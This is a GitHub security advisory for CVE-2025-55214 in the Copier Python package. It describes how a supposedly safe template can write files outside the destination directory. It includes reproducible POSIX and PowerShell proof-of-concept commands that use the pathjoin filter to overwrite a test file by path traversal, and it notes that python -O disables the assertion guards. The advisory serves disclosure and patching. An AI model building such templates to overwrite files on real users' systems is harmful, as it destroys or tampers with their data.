GitHub Advisoryadvisory · PyPI
GHSA-p7q8-grrj-3m8w Copier's safe template has filesystem write access outside destination path
MEDIUM
Official page ↗
- Aliases
- CVE-2025-55214
- Ecosystem
- PyPI
- Packages
- copier
- Severity
- Moderate
- CVSS vector
- CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N
- Weaknesses
- CWE-22
- Reviewed
- 2025-08-18
Affected packages
• PyPI copier: >= 7.1.0, < 9.9.1 → fixed in 9.9.1
Description
Impact
Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently write files outside the destination path where a project shall be generated or updated. This is possible when rendering a generated directory structure whose rendered path is either a relative parent path or an absolute path. Constructing such paths is possible using Copier's builtin `pathjoin` Jinja filter and its builtin `_copier_conf.sep` variable, which is the platform-native path separator. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.
Write access via generated relative path
Reproducible example:
```shell
echo "foo" > forbidden.txt
mkdir src/
echo "bar" > "src/{{ pathjoin('..', 'forbidden.txt') }}"
uvx copier copy src/ dst/
cat forbidden.txt
```
Write access via generated absolute path
Reproducible example:
• POSIX:
```shell
# Assumption: The current working directory is `/tmp/test-copier-vulnerability/`
echo "foo" > forbidden.txt
mkdir src/
echo "bar" > "src/{{ pathjoin(_copier_conf.sep, 'tmp', 'test-copier-vulnerability', 'forbidden.txt') }}"
uvx --from copier python -O -m copier copy --overwrite src/ dst/
cat forbidden.txt
```
• Windows (PowerShell):
```powershell
# Assumption: The current working directory is `C:\Users\\Temp\test-copier-vulnerability`
echo "foo" > forbidden.txt
mkdir src
Set-Content -Path src\copier.yml @'
drive:
type: str
default: "C:"
when: false
'@
echo "bar" > "src\{{ pathjoin(drive, 'Users', '', 'Temp', 'test-copier-vulnerability', 'forbidden.txt') }}"
uvx --from copier python -O -m copier copy --overwrite src dst
cat forbidden.txt
```
This scenario is slightly less severe, as Copier has a few assertions of the destination path being relative which would typically be raised. But `python -O` (or `PYTHONOPTIMIZE=x`) removes asserts, so these guards may be ineffective. In addition, this scenario will prompt for overwrite confirmation or require the `--overwrite` flag for non-interactive mode; yet malicious file writes might go unnoticed.
Related
Alias · CVE (1)
- CVE-2025-55214 Copier library and CLI app for rendering project templates. vulnerability
Weakness · CWE (1)
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness